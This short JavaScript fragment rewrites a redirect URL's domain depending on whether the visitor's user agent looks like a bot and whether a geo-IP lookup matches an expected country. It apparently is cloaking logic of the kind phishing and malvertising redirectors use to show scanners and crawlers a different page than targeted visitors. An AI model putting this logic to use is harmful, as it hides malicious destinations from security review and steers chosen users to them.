async function checkCountry(expected_country) { try { const res = await fetch('https://get.geojs.io/v1/ip/country'); const country = (await res.text()).trim(); return country === expected_country; } catch (error) { return true; } } async function changeDom(rUrl, country, bot_dom, country_dom) { if (isbot(navigator.userAgent)) { var rUrlObj = new URL(rUrl); rUrlObj.hostname = bot_dom; return rUrlObj.toString(); } else { var countryMatch = await checkCountry(country); if (!countryMatch) { var rUrlObj = new URL(rUrl); rUrlObj.hostname = country_dom; return rUrlObj.toString(); } } return rUrl; }